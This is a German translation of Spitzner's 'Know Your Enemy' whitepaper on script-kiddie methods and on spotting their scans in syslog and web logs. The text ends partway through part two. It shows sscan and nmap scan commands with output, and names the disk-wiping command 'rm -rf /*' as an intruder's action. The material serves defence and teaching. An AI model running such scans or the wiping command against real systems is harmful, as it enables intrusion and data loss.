Den Feind erkennen Teil 1-3

Internetangriffe durch Skript Kiddies

Deutsche Übersetzung von
http://www.enteract.com/~lspitz/pubs.html

Net at Work
Netzwerksysteme

Riemeke Straße 160
33106 Paderborn

http://www.netatwork.de

Gedruckt: 27. August 2000
Autor: lance@spitzner.net
eMail: info@netatwork.de

Zuletzt gespeichert: 27. August 2000 / Version 18:

INHALTSVERZEICHNIS

1 Was sie wissen sollten

Diese Dokument wurde weder von Net at Work erstellt noch übersetzt. Net at Work hält auch keine Rechte an diesem Dokument und respektiert die Rechte des Autors und Übersetzers.

Der Text ist kostenfrei im Internet unter http://www.enteract.com/~lspitz/pubs.html für jedermann zu erhalten.

Auszug aus dieser Webseite

> ***--- Whitepapers ---***
>
> *Feel free to copy / link / distribute any of my whitepapers listed below. Don't have time to read the papers online? Now you can download the whitepapers and read most of them offline (updated weekly). You can also find the papers in .pdf format, converted by Nick Buraglio. However, these are not updated weekly. Foreign language speakers, you can find translations here. (Francais, Deutsch, suomi, Slovinsko, Korean)*

Aufgrund dieser Passage glauben wir, dass es erlaubt ist, diesen Text auch in dieser Form zu verteilen. Die Leistung der Net at Work GmbH beschränkt sich auf das Formatieren der Quelle, die Erstellung von Inhaltsverzeichnis und das Ausdrucken. Und natürlich der Empfehlung, dieses Dokument zu lesen und die Aussagen zu verinnerlichen.

Die deutsche Übersetzung wurde von Jochen Berner (jochen_berner@hotmail.com) durchgeführt und ebenfalls auf der Seite von Lance Spitzer bereitgestellt. Es wurden keine Korrekturen am Text selbst vorgenommen, so dass er noch nicht der neuen Rechtschreibung entspricht.

Lassen Sie sich nicht irritieren, wenn der Autor meist über UNIX oder LINUX-Systeme spricht oder Beispiele anhand diese Systems aufführt. Die Regeln, Verhaltensweisen und Vorgehen sind bei allen Betriebssystemen vergleichbar, auch wenn die Konfiguration an anderen Stellen mit anderen Mitteln durchgeführt werden. Was auf einem Unix-system in diversen Textkonfigurationsdateien steht, wird bei Windows NT in der Registrierungsdatenbank eingestellt

Wir hoffen, dass dieser Ausflug sie davon überzeugt, dass der Anschluss von Systemen an ein Netzwerk immer auch einen Sicherheitsaspekt mit sich bringt und den Einsatz einer Firewall, Reduzierung der Dienste und eine permanente Information über Sicherheitslücken der eingesetzten Systeme am Internet notwendig machen.

Viel Spaß beim Lesen

Frank Carius, Net at Work GmbH

2 Die Tools und Methoden der "Script Kiddies"

2.1 Den Feind erkennen

Mein Kommandeur pflegte zu sagen, das man, um sich gegen den Feind zu schützen, erst mal wissen muß, wer der Feind ist. Diese Militärdoktrin läßt sich genau so auf die Welt der Netzwerksicherheit übertragen. Wie beim Militär geht es um Ressourcen, die Du schützen willst. Um sie zu schützen, mußt Du wissen, wer die Gefahr ist und wie sie angreifen werden. Dieser Artikel, der erste von dreien, tut genau das: er diskutiert die Tools und Methoden, die von einer der am weitesten verbreiteten Gefahren genutzt werden: dem "Script Kiddie". Der zweite Teil konzentriert sich darauf, wie man diese Attacken erkennen kann, wie man erkennt, welche Tools benutzt werden und nach welchen Schwachstellen sie suchen. Der dritte Teil befaßt sich damit, was passiert, wenn sie erst mal root geworden sind und ganz besonders darauf, wie sie ihre Spuren verwischen und was sie als nächstes tun.

2.2 Wer ist das "Script Kiddie"?

Das "Script Kiddie" ist jemand, der auf den schnellen, einfachen Erfolg aus ist. Sie sind nicht auf der Suche nach spezieller Information oder zielen auf eine bestimmte Firma. Alles was sie wollen, ist so einfach wie möglich root zu werden. Das versuchen sie, indem sie sich auf eine kleine Anzahl von Schwachpunkten beschränken und dann das gesamte Internet danach absuchen. Früher oder später finden sie jemanden, der verwundbar ist.

Manche von ihnen sind fortgeschrittene Anwender, die ihre eigenen Tools entwickeln und ausgeklügelte Hintertüren hinterlassen. Manche wissen überhaupt nicht, was sie tun; das einzige was sie können, ist "go" auf der Kommandozeile zu tippen. Ungeachtet ihres Wissensstandes haben sie alle die gleiche Strategie: ziellos nach einer bestimmten Schwäche suchen und diese dann ausnutzen.

2.3 Die Bedrohung

Es ist diese zufällige Auswahl von Zielen, die das "Script Kiddie" so gefährlich macht. Früher oder später werden Deine Maschinen und Netzwerke getestet werden, man kann sich vor ihnen nicht verstecken. Ich kenne Admins, die erstaunt waren, als ihre Systeme zwei Tage nach dem Hochfahren, als sie noch keiner kannte, gescannt wurden. Das ist nicht weiter erstaunlich. Wahrscheinlich wurden ihre Systeme von einem "Script Kiddie" gescannt, der gerade einen Netzwerkblock testete.

Wenn sich das auf einige individuelle Scans beschränken würde, wäre die Statistik auf deiner Seite. Mit Millionen Systemen im Internet ist es wahrscheinlich, das niemand dich findet. Leider ist das nicht so. Die meisten verwendeten Tools sind einfach zu benutzen und weit verbreitet, jeder kann sie nutzen. Eine schnell wachsende Zahl von Leuten besorgt sich diese Tools. Da das Internet keine geografischen Grenzen kennt, hat sich diese Bedrohung schnell um die ganze Welt verbreitet. Auf einmal steht die Statistik gegen uns: mit so vielen Anwendern die diese Tools nutzen ist die Frage nicht ob, sondern wann Du gescannt werden wirst.

Dies ist ein hervorragendes Beispiel dafür, warum "Sicherheit durch Geheimhaltung" versagen kann. Du glaubst vielleicht, das, wenn niemand dein System kennt, Du sicher bist. Andere glauben, das ihre Systeme uninteressant sind, warum sollte sie also jemand scannen? Nach genau diesen Systemen suchen "Script Kiddies", nach den ungeschützten Systemen, die einfach auszunutzen sind, dem schnellen Erfolg.

2.4 Die Methoden

Die Methode des "Script Kiddies" ist einfach: durchsuche das Internet nach einer bestimmten Schwachstelle und wenn du sie gefunden hast, nutze sie aus. Die meisten Tools, die sie verwenden, sind automatisiert und erfordern wenig Interaktion. Starte das Tool und komm ein paar Tage später wieder, um die Ergebnisse abzuholen. Keine zwei Tools sind gleich, genauso wie keine zwei Exploits (wie übersetzt man das am besten?) gleich sind. Wie auch immer, die meisten Tools arbeiten nach dem gleichen Prinzip: zuerst wird eine IP-Adressdatenbank erzeugt, die man scannen kann. Dann werden diese IP-Adressen nach einer bestimmten Schwachstelle gescannt.

Nehmen wir einfach an, ein Anwender hätte ein Tool, mit dem er imap auf Linuxsystemen ausnutzen kann. Als erstes würde er eine IP-Adressdatenbank erzeugen, die gescannt werden können (d.h. das Zielsystem läuft und ist erreichbar). Nachdem die Datenbank erzeugt ist, würde der Anwender herausfinden wollen, welche dieser Systeme unter Linux laufen. Viele moderne Scanner können das herausfinden, indem sie fehlerhafte Pakete verschicken und die Antwort analysieren (ein Beispiel ist Fyodors nmap (http://www.insecure.org/nmap)). Danach würden andere Tools benutzt, um herauszufinden, auf welchen dieser Linuxsysteme imap läuft. Alles, was danach noch zu tun bleibt, ist die Schwäche der verbleibenden Maschinen auszunutzen.

Man könnte vermuten, daß das ganze Scannen extrem auffällig ist und ein ganze Menge Aufmerksamkeit auf sich zieht. Viele Leute überwachen ihre Systeme aber nicht und sind sich gar nicht bewußt, das sie gescannt worden sind. Viele "Script Kiddies" suchen sich auch in aller Stille ein einzelner System, das sie benutzen können. Wenn sie einmal eingedrungen sind, nutzen sie dieses System als Plattform. Sie können dreist das ganze Internet absuchen, ohne Strafe fürchten zu müssen. Wenn ihre Scans entdeckt werden, wird der Systemadministrator und nicht sie selber zur Verantwortung gezogen.

Darüber hinaus werden die Ergebnisse solcher Scans oft aufbewahrt und an andere weitergegeben, um später wiederverwendet zu werden. Nehmen wir an, ein Anwender hat eine Datenbank von offenen Ports an erreichbaren Linuxsystemen erzeugt. Zweck dieser Datenbank ist es, die aktuelle imap-Schwäche auszunutzen. Nehmen wir weiter an, in einem Monat wird eine andere Schwäche auf einem anderen Port entdeckt. Anstatt die ganze Datenbank neu aufbauen zu müssen (der zeitraubenste Teil), kann der Anwender einfach in die bestehende Datenbank schauen und die angreifbaren Systeme kompromittieren. Alternativ dazu nutzen "Script Kiddies" diese Datenbanken gemeinsam oder kaufen sie von einander. Das "Script Kiddie" kann dann dein System angreifen, ohne es jemals gescannt zu haben. Nur weil deine Systeme kürzlich nicht gescannt worden sind, heißt das nicht, das du sicher bist.

Die erfahreneren "Schlapphüte" implementieren Trojaner und Hintertüren, wenn sie erst mal im System sind. Hintertüren erlauben einfachen und unbemerkten Zugang zum System wann immer der Anwender es möchte. Die Trojaner machen den Eindringling unauffindbar. Er taucht in keinen Logs, Systemprozessen oder Dateisystemen auf. Er baut sich ein

komfortables und sicheres Heim, von dem aus er das ganze Internet scannen kann. Mehr Informationen finden sich in "Den Feind erkennen III".

Diese Attacken beschränken sich nicht auf eine bestimmte Tageszeit. Viele Admins durchsuchen ihre Logs nach Scanversuchen die spät nachts stattfinden, da sie glauben, das dies die Zeit sei, zu der die Bösen angreifen. "Script Kiddies" greifen zu jeder Zeit an. Da sie 24 Stunden am Tag scannen, weiß man nie, wann der nächste Versuch stattfindet. Darüber hinaus werden die Attacken rund um die Welt gestartet. Genausowenig wie geografische Grenzen kennt das Internet Zeitzonen. Bei den Bösen mag es Mitternacht sein, während es bei dir ein Uhr mittags ist.

Diese Methode des Scannens nach angreifbaren Systemen kann zu einer Reihe von Zwecken verwendet werden. Erst kürzlich wurde von neuen DoS-Attacken berichtet, besonders von DDoS-Attacken (Distributed DoS-Attacken). Diese Angriffe basieren auf einem einzelnen Anwender, der hunderte, wenn nicht tausende, kompromittierte Systeme rund um die Welt kontrolliert. Diese kompromittierten Systeme werden dann aus der Ferne koordiniert, um eine DoS-Attacke gegen ein oder mehrere Opfer zu starten. Da verschiedene Systeme benutzt werden, ist es extrem schwierig, die Quelle solcher Angriffe zu erkennen oder den Angriff abzuwehren. Um die Kontrolle über so viele Systeme zu erlangen, werden oft die Taktiken der "Script Kiddies" angewandt. Angreifbare Systeme werden zufällig ausgewählt und dann zu DDoS-Plattformen gemacht. Je mehr Systeme benutzt werden, dest kraftvoller ist die DDoS-Attacke. Ein Beispiel für eine solche Attacke ist "stacheldraht". Mehr über DDoS-Angriffe und wie man sich davor schützen kann steht auf Paul Fergusons Seite denialinfo (http://www.denialinfo.com).

2.5 Die Tools

Die benutzten Tools sind extrem einfach zu benutzen. Die meisten dienen nur einem Zweck und bieten wenige Optionen. Als erstes kommen die Tools um eine IP-Datenbank aufzubauen. Diese Tools arbeiten wirklich zufällig, da sie einfach das Internet scannen. Zum Beispiel hat ein Tool nur eine einzige Option:A, B oder C. Durch den Buchstaben, den man auswählt, legt man die Größe des zu scannenden Netzwerkes fest. Danach sucht das Tool nach zufällig erzeugten IP-Adressen. Ein anderes Tool nutzt einen Domänennamen (z0ne ist dafür ein hervorragendes Beispiel). Die Tools bauen die IP-Datenbank auf, indem sie Zonentransfers des Domänennamens und aller Unterdomänen ausführen. Anwender haben Datenbanken mit mehr als 2 Millionen IP-Adressen aufgebaut, indem sie die gesamte .com oder .edu Domäne gescannt haben.

Einmal entdeckt, werden die Adressen dann von Tools gescannt um Schwachstellen aufzudecken, wie z.B. die Version von named, das Betriebssystem oder Prozesse die auf dem System laufen. Wenn die angreifbaren Systeme entdeckt sind, schlägt der Böse zu. Es existieren verschiedene Tools, die alle diese Schritte kombinieren und den Prozess noch weiter vereinfachen, z.B. sscan von jsbach (http://ben3.ucla.edu/~jsbach) oder cracker.pl (http://www.enteract.com/~lspitz/README.cracker.txt). Für ein besseres Verständnis, wie diese Tools arbeiten lies "Den Feind erkennen II".

2.6 Schlußfolgerung

Die "Script Kiddies" stellen eine Bedrohung für jedes System dar. Sie zeigen keine besondere Neigung und scannen alle Systeme, unabhängig vom Standort und der Bedeutung. früher oder später wird dein System gescannt

werden. Durch das Verständnis für ihre Motive und Methoden kannst Du Dein System besser gegen diese Bedrohung schützen.

Anmerkung: Dank an Brad Powell vom Sun Security Team für seine Hilfe bei diesem Artikel.

3 Den Feind erkennen II

Dieser Artikel ist der zweite von drei Teilen. Der erste Teil behandelte die Tools und Methoden der "Script Kiddies", besonders wie sie nach Schwachstellen suchen und diese dann angreifen. Der dritte Teil beschreibt, was "Script Kiddies" tun, wenn sie erst mal root sind und hier besonders, wie sie ihre Spuren verwischen und was sie tun. Dieser Teil beschäftigt sich mit dem Verfolgen ihrer Spuren. Genau wie beim Militär möchte man die Bösen verfolgen und wissen was sie tun. Wir werden erklären, was man mit Hilfe der System Logs herausfinden kann und was nicht. Vielleicht kannst du herausfinden, ob du gescannt worden bist, nach was du gescannt worden bist, mit welchen Tools und ob sie erfolgreich waren. Die Beispiele hier konzentrieren sich auf Linux, können aber auf fast jede Version von Unix angewandt werden. Sei dir aber bewußt, daß es keinen garatierten Weg gibt, jeden Schritt deines Feindes zu verfolgen. Trotzdem ist dieser Artikel ein guter Anfang.

3.1 Deine Logs sichern

Dieser Artikel beschäftigt sich nicht mit der Erkennung von Einbruchsversuchen, es gibt eine Anzahl exzellenter Quellen, die dies tun. Wenn du dich dafür interessierst, empfehle ich Programme wie den Network Flight Recorder (http://www.nfr.net) oder snort (http://www.clark.net/~roesch/security.html). Dieser Artikel ist über Informationsbeschaffung. Im speziellen: wie finde ich mit Hilfe meiner Systemlogs heraus, was der Feind tut? Du wirst überrascht sein, wieviel Informationen man in seinen Logfiles findet. Bevor wir aber über die Auswertung reden, müssen wir erst über die Sicherung der Logs reden. Deine Logfiles sind wertlos, wenn du dich nicht auf ihre Richtigkeit verlassen kannst. Das erste was die meisten Bösen tun, ist die Logfiles auf einem kompromittiertem System zu verändern. Es gibt eine ganze Reihe von Tools (z.B. cloak), die deine Anwesenheit aus den Logs herauslöschen oder gleich das ganze Logging verändern (wie veränderte syslogd-Binaries). Der erste Schritt zum Auswerten der Logs muß also deren Sicherung sein.

Das bedeutet, das Du einen Remote-Logserver verwenden mußt. Egal wie sicher Dein System ist, Du kannst Logs auf einem kompromittiertem System nicht vertrauen. Der Böse kann einfach ein rm -rf /* machen und deine Festplatte komplett löschen. Dadurch wird das Wiederherstellen deiner Logs etwas schwierig. Um sich dagegen zu schützen, sollten alle Systeme doppelt loggen: einmal lokal und einmal auf einem Remote-Logserver. Ich würde empfehlen, eine eigene Maschine als Logserver abzustellen, d.h. dieser Rechner tut nichts anderes, als die Logs von anderen Systemen zu sammeln. Wenn Geld eine Rolle spielt, läßt sich mit Linux einfach ein solcher Server aufsetzen. Dieser Server sollte bestmöglich gesichert werden, mit so wenig laufenden Diensten wie möglich und Zugriff nur von der Konsole aus. Außerdem sollte sichergestellt sein, daß der UDP-Port 514 geblockt oder von einer Firewall an der Internetverbindung gesichert ist. Das schützt den Server vor falschen oder nicht autorisierten Logginginformationen aus dem Internet.

Wenn man ganz gerissen sein will, kompiliert man einfach neu, so das sie eine andere Konfigurationsdatei einliest, z.B. /var/tmp/.conf. Auf diese Weise weiß der Böse nicht, wo die wahre Konfigurationsdatei liegt. Die Änderung ist durch einfaches editieren des Eintrags /etc/syslog.conf im Sourcecode zu machen. Außerdme tragen wir in unsere neue Konfigurationsdatei ein,

sowohl lokal als auch auf dem Remote-Logserver zu loggen. Trotz alledem sollte man eine Standardkonfigurationsdatei /etc/syslogd.conf behalten, auf der das Logging ausschließlich lokal zu sein scheint. Diese Datei ist zwar jetzt nutzlos, wird den Bösen aber von dem Remote-Logging ablenken. Eine andere Methode deine Systeme zu schützen, ist das verwenden einer sicheren Logmethode. Eine Möglichkeit wäre es, die syslogd-Binary gegen etwas auszutauschen, was einen eingebauten Integritätscheck und eine größere Auswahl an Optionen hat, z.B. syslog-ng, zu finden auf http://www.balabit.hu/products/syslog-ng.html.

Die meisten Logs die wir nutzen werden, liegen auf einem Remote-Logserver. Wie vorher erwähnt, können wir auf die Integrität dieser Dateien vertrauen, da sie auf einem Remote und gut gesichertem System liegen. Darüberhinaus ist wesentlich leichter, bestimmte Muster in den Logs zu erkennen, da alle Systeme auf einen zentralen Rechner schreiben. Man kann mit einem Blick sehen, was auf allen Systemen geschieht. Die einzige Gelegenheit, bei der man die lokalen Logfiles ansehen muß, ist um zu vergleichen, ob sie mit den Serverlogs identisch sind. So läßt sich einfach herausfinden, ob sie verändert worden sind oder nicht.

3.2 Muster erkennen

Ob man Opfer eines Portscans geworden ist, läßt sich normalerweise an den Logs feststellen. Die meisten Script Kiddies scannen Netzwerke nach einer einzelnen Schwäche. Wenn man aus den Logs erkennen kann, das die meisten eigenen Systeme eine Verbindung auf dem immer gleichen Port zu einem immer gleichen Remotesystem aufgebaut haben, ist das sehr wahrscheinlich eine Scanattacke. Der Feind hat die Möglickeit, eine einzelne Schwachstelle auszunutzen und danach sucht er dein Netzwerk ab. Wenn er sie findet, wird er sie ausnutzen. Auf den meisten Linuxsystemen sind standardmäßig TCP-Wrapper installiert. Die meisten der Verbindungen werden wir also in /var/log/secure finden. Bei den anderen Linux-Varianten können wir alle inetd Verbindungen loggen indem inetd mit dem "-t" Parameter gestartet wird. Ein typischer Schwachpunkt-Scan würde so ähnlich aussehen wie das Beispiel weiter unten. Hier sucht jemand nach der wu-ftpd Schwäche:

```
/var/log/secure
Apr 10 13:43:48 mozart in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:51 bach in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:54 hadyen in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:57 vivaldi in.ftpd[6613]: connect from 192.168.11.200
Apr 10 13:43:58 brahms in.ftpd[6613]: connect from 192.168.11.200
```

Man sieht, wie die Adresse 192.168.11.200 das Netzwerk absucht. Beachte, wie der Angreifer die IPs nacheinander absucht (das ist nicht immer der Fall). Hier liegt der Vorteil eines Logservers: man kann einfacher Muster im Netzwerk erkennen, da alle Logs hier zusammenlaufen. Die wiederholten Verbindungen zu Port 21 (ftp) zeigen an, das wahrscheinlich nach dem wu-ftpd Schwachpunkt gesucht wurde. Wir haben also gerade herausgefunden, wonach der Böse gesucht hat. Scans tendieren oft dazu in Wellen zu kommen. Jemand veröffentlicht Code, um eine imap-Schwäche auszunutzen und plötzlich kommt ein Schwall von imap-Scans in die Logs. Nächsten Monat ist es dann vielleicht ftp. Eine hervorragende Quelle für aktuelle Schwachpunkte ist http://www.cert.org/advisories. Manche Tools können auch gleichzeitig nach mehreren Schwächen suchen, man sieht also manchmal eine einzelne Quelle Verbindung zu mehreren Ports aufnehmen.

3.3 Was sind die Tools?

Manchmal kann sogar die Tools erkennen, die benutzt werden, um das Netzwerk zu scannen. Einige der einfacheren Tools scannen nach nur

einem Schwachpunkt, wie z.B. ftp-scan.c. Wenn nur ein einzelner Port oder Schwachpunkt im Netzwerk gescannt wird, wird wahrscheinlich ein solches "Einzeltool" benutzt. Es existieren aber Tools, die nach einer ganzen Reihe von Schwachpunkten suchen. Die beiden populärsten Tools sind sscan (http://www.ben2.ucla.edu/~jsbach) von jsbach und nmap (http://www.insecure.org/nmap) von Fyodor. Ich habe diese beiden Tools ausgesucht, da sie die beiden "Kategorien" von Scanningtools repräsentieren. Ich empfehle sehr, da du diese Tools gegen dein Netzwerk einsetzt, du könntest über die Ergebnisse überrascht sein :)

* sscan repräsentiert das Allzweck-Script Kiddie-Scanningtool und ist wahrscheinlich eines der besten. Es testet ein Netzwerk schnell auf eine Reihe von Schwachstellen (inklusive cgi-bin). Es ist einfach anzupassen und erlaubt so Testverfahren für neue Schwächen hinzuzufügen. Man muß dem Tool nur ein Netzwerk und eine Subnetzmaske geben und es erledigt den Rest. Der Anwender muß jedoch root sein um es zu nutzen. Die Ausgabe ist extrem einfach zu deuten (darum ist es so beliebt). Es gibt eine knappe Zusammenfassung vieler verwundbarer Dienste. Alles, was man zu tun hat, ist sscan gegen ein Netzwerk einzusetzen, die Ausgabe nach dem Wort "VULN" zu durchsuchen und den "Angriff des Tages" zu starten. Es folgt ein Beispiel, in dem sscan gegen das System mozart (172.17.6.30) eingesetzt wird:

```
  otto #./sscan -o 172.17.6.30
--------------------------<[ * report for host mozart *
<[ tcp port: 80 (http) ]>       <[ tcp port: 23 (telnet) ]>
<[ tcp port: 143 (imap) ]>      <[ tcp port: 110 (pop-3) ]>
<[ tcp port: 111 (sunrpc) ]>    <[ tcp port: 79 (finger) ]>
<[ tcp port: 53 (domain) ]>     <[ tcp port: 25 (smtp) ]>
<[ tcp port: 21 (ftp) ]>
--<[ *OS*: mozart: os detected: redhat linux 5.1
mozart: VULN: linux box vulnerable to named overflow.
-<[ *CGI*: 172.17.6.30: tried to redirect a /cgi-bin/phf request.
-<[ *FINGER*: mozart: root: account exists.
--<[ *VULN*: mozart: sendmail will 'expn' accounts for us
--<[ *VULN*: mozart: linux bind/iquery remote buffer overflow
--<[ *VULN*: mozart: linux mountd remote buffer overflow
--------------------------<[ * scan of mozart completed *
```

* nmap steht für das "reine Daten" Tool. Es verrät nicht, welche Schwachstellen existieren, sondern nur welche Ports offen sind und du selber schätzt den Einfluß auf die Sicherheit ab. Nmap ist schnell zur ersten Wahl der Portscanner geworden und das nicht ohne Grund. Es vereint die besten Funktionen von verschiedenen Portscannern in einem einzelnen Tool, inklusive OS-Feststellung, verschiedene Paketzusammensetzungsoptionen (original:packet assembly options), sowohl TCP als auch UDP scanning, Willkürlichkeit, etc. Man braucht jedoch Netzwerkwissen um das Tool zu nutzen und die Daten zu interpretieren. Es folgt ein Beispiel in dem nmap wieder gegen das gleiche System eingesetzt wird:

```
          otto #nmap -sS -O 172.17.6.30
          Starting nmap V. 2.08 by Fyodor (fyodor@dhp.com,
www.insecure.org/nmap/)
          Interesting ports on mozart (172.17.6.30):
          Port    State       Protocol  Service
          21      open        tcp        ftp
          23      open        tcp        telnet
          25      open        tcp        smtp
          37      open        tcp        time
          53      open        tcp        domain
          70      open        tcp        gopher
          79      open        tcp        finger
          80      open        tcp        http
          109     open        tcp        pop-2
          110     open        tcp        pop-3
```

```
111     open        tcp        sunrpc
143     open        tcp        imap2
513     open        tcp        login
514     open        tcp        shell
635     open        tcp        unknown
2049    open        tcp        nfs

TCP Sequence Prediction: Class=truly random
                         Difficulty=9999999 (Good luck!)
Remote operating system guess: Linux 2.0.35-36

Nmap run completed -- 1 IP address (1 host up) scanned in 2 seconds
```

Durch das Lesen deiner Logs kannst du erkennen, welches Tools gegen dich eingesetzt wurde. Um das zu schaffen, mußt du wissen, wie diese Tools arbeiten. Ein sscan wird wie folgt geloggt werden (dies ist ein Standardscan ohne Veränderungen an irgendwelchen Konfigurationsdateien):

```
/var/log/secure
Apr 14 19:18:56 mozart in.telnetd[11634]: connect from 192.168.11.200
Apr 14 19:18:56 mozart imapd[11635]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.fingerd[11637]: connect from 192.168.11.200
Apr 14 19:18:56 mozart ipop3d[11638]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.telnetd[11639]: connect from 192.168.11.200
Apr 14 19:18:56 mozart in.ftpd[11640]: connect from 192.168.11.200
Apr 14 19:19:03 mozart ipop3d[11642]: connect from 192.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from 192.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from 192.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from 192.168.11.200

/var/log/maillog
Apr 14 21:01:58 mozart imapd[11667]: command stream end of file, while
reading line user=??? host=[192.168.11.200]
Apr 14 21:01:58 mozart ipop3d[11668]: No such file or directory while
reading line user=??? host=[192.168.11.200]
Apr 14 21:02:05 mozart sendmail[11675]: NOQUEUE: [192.168.11.200]: expn
root

/var/log/messages
Apr 14 21:03:09 mozart telnetd[11682]: ttloop:  peer died: Invalid or
incomplete multibyte or wide character
Apr 14 21:03:12 mozart ftpd[11688]: FTP session closed
```

sscan sucht außerdem nach cgi-bin Schwächen. Diese Versuche werden nicht mit syslogd aufgezeichnet, man findet sie statt dessen in access_log. Ich habe mich trotzdem entschlossen, sie hier zu deiner Erbauung zu erwähnen :)

```
/var/log/httpd/access_log
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf
HTTP/1.0" 302 192
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi
HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi
HTTP/1.0" 404 169
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi
HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler
HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais
HTTP/1.0" 404 168
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail
HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi
HTTP/1.0" 404 172
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/faxsurvey
HTTP/1.0" 404 170
192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/htmlscript
```

```
HTTP/1.0" 404 171
       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-
bin/pfdisplay.cgi HTTP/1.0" 404 174
       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/perl.exe
HTTP/1.0" 404 169
       192.168.11.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl
HTTP/1.0" 404 172
       192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-
bin/ews/ews/architext_query.pl HTTP/1.0" 404 187
       192.168.11.200 - - [14/Apr/1999:16:44:50 -0500] "GET /cgi-bin/jj
HTTP/1.0" 404 163
```

Beachte, wie eine vollständige Verbindung (SYN, SYN-ACK, ACK) für alle Ports aufgebaut und dann wieder abgebrochen wird. Das kommt daher, daß sscan auf der Anwendungsebene feststellt was vorgeht. sscan möchte nicht nur wissen OB ein ftp port offen ist, sondern WELCHER ftp daemon läuft. Das gleiche trifft auch für imap, pop etc. zu. Sehen kann das in den "sniff traces", die mit sniffit, einem weit verbreitetem Tools zum sniffen von Passwörtern, erzeugt wurden.

```
mozart $ cat 172.17.6.30.21-192.168.11.200.7238
220 mozart.example.net FTP server (Version wu-2.4.2-academ[BETA-17](1) Tue Jun 9
10:43:14 EDT 1998) ready.
```

Wie man oben sehen kann, wurde eine vollständige Verbindung aufgebaut, um die Version des laufenden wu-ftpd zu ermitteln. Wenn Verbindungen wie oben in den Logs auftauchen, wird man sehr wahrscheinlich gescannt. Diese Tools bauen Verbindungen auf, um festzustellen, was auf dem Rechner läuft.

nmap kümmert sich wie die meisten Portscanner nicht darum was läuft, sondern ob spezielle Dienste laufen. Dafür hat nmap ein umfangreiches Set an Optionen, mit denen man bestimmen kann, welche Art von Verbindung herzustellen ist, inklusive SYN, FIN, Xmas, Null, etc. Eine detaillierte Beschreibung der Optionen findet man auf http://www.insecure.org/nmap/nmap_doc.html. Wegen dieser Optionen werden die Logs je nach ausgewählten Optionen anders aussehen. Eine Verbindung, die mit den -sT Parametern aufgebaut wurde, ist eine vollständige Verbindung, die Logs werden also ähnlich wie bei sscan aussehen, nmap scannt jedoch standardmäßig mehr Ports.

```
/var/log/secure
Apr 14 21:20:50 mozart in.rlogind[11706]: connect from 192.168.11.200
Apr 14 21:20:51 mozart in.fingerd[11708]: connect from 192.168.11.200
Apr 14 21:20:51 mozart ipop2d[11709]: connect from 192.168.11.200
Apr 14 21:20:51 mozart in.rshd[11710]: connect from 192.168.11.200
Apr 14 21:20:51 mozart gn[11711]: connect from 192.168.11.200
Apr 14 21:20:51 mozart gn[11711]: error: cannot execute /usr/sbin/gn: No such
file or directory
Apr 14 21:20:52 mozart in.timed[11712]: connect from 192.168.11.200
Apr 14 21:20:52 mozart imapd[11713]: connect from 192.168.11.200
Apr 14 21:20:52 mozart ipop3d[11714]: connect from 192.168.11.200
Apr 14 21:20:52 mozart in.telnetd[11715]: connect from 192.168.11.200
Apr 14 21:20:52 mozart in.ftpd[11716]: connect from 192.168.11.200
```

Etwas, an das man sich erinnern sollte, ist die -D (wie decoy=Lockvogel, Köder) Option. Diese nmap Option ermöglicht es dem User seine Ip-Adresse zu verbergen. Es ist möglich, das man Scans von 15 verschiedenen Quellen gleichzeitig sieht, aber nur eine davon ist die echte. Es ist extrem schwierig, diese eine herauszufinden. Noch öfter werden User die -sS Option zum Portscannen verwenden. Da nur ein SYN-Paket gesendet wird, ist dieses eine noch verstohlerene Methode. Wenn das Zielsystem antwortet, wird die Verbindung sofort mit einem RST

abgebrochen. Die Logs für einen solchen Scanversuch sehen wie folgt aus (Anmerkung: nur die ersten fünf Einträge werden berücksichtigt):

```
/var/log/secure
Apr 14 21:25:08 mozart in.rshd[11717]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:08 mozart in.rshd[11717]: connect from unknown
Apr 14 21:25:09 mozart in.timed[11718]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart in.timed[11718]: connect from unknown
Apr 14 21:25:09 mozart imapd[11719]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart imapd[11719]: connect from unknown
Apr 14 21:25:09 mozart ipop3d[11720]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart ipop3d[11720]: connect from unknown
Apr 14 21:25:09 mozart in.rlogind[11722]: warning: can't get client address:
Connection reset by peer
Apr 14 21:25:09 mozart in.rlogind[11722]: connect from unknown
```

